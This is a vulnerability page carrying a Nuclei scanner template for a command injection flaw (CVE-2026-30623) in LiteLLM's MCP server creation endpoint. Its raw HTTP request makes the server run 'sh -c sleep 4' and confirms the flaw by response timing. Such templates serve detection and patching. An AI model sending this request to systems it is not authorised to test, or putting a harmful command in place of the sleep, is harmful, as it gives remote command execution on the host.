LiteLLM 1.18.10 - Command Injection
CVE-2026-30623
Verified
Description
LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.
Severity
High
Exploit Probability
6%
Published Date
July 16, 2026
Template Author
leeseungsu
CVE-2026-30623.yaml
id: CVE-2026-30623
info:
name: LiteLLM 1.18.10 - Command Injection
author: leeseungsu
severity: high
description: |
LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.
impact: |
Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.
remediation: |
Update to the latest version of LiteLLM with validation for MCP server commands.
reference:
- https://docs.litellm.ai/blog/mcp-stdio-command-injection-april-2026
- https://cveawg.mitre.org/api/cve/CVE-2026-30623
- https://github.com/BerriAI/litellm
classification:
cve-id: CVE-2026-30623
epss-score: 0.05952
epss-percentile: 0.92708
cwe-id: CWE-77
metadata:
verified: true
max-request: 1
tags: cve,cve2026,litellm,rce,authenticated,mcp
variables:
marker: "{{randstr}}"
http:
- raw:
- |
POST /mcp-rest/test/connection HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{
"server_id": "nuclei-{{marker}}",
"server_name": "nuclei-{{marker}}",
"transport": "stdio",
"command": "sh",
"args": ["-c", "sleep 4"]
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "Failed to connect to MCP server"
- type: word
part: body
negative: true
words:
- "not in the allowed commands list"
- "Allowed commands"
- type: dsl
dsl:
- "duration >= 4"
# digest: 490a0046304402206c573f1b4e5aec13eed0e26704f2c7e0b8b3afc8f9578aa1a20c110bfef7351202207f9c3c6157f7c98f3bf31e3577265eef8a6337c898c7ba8cee88aa1792f8d42e:922c64590222798bb761d5b6d8e729507.5Severity
CVSS Metrics
CVE ID:
cve-2026-30623
CWE ID:
cwe-77
Remediation Steps
Update to the latest version of LiteLLM with validation for MCP server commands.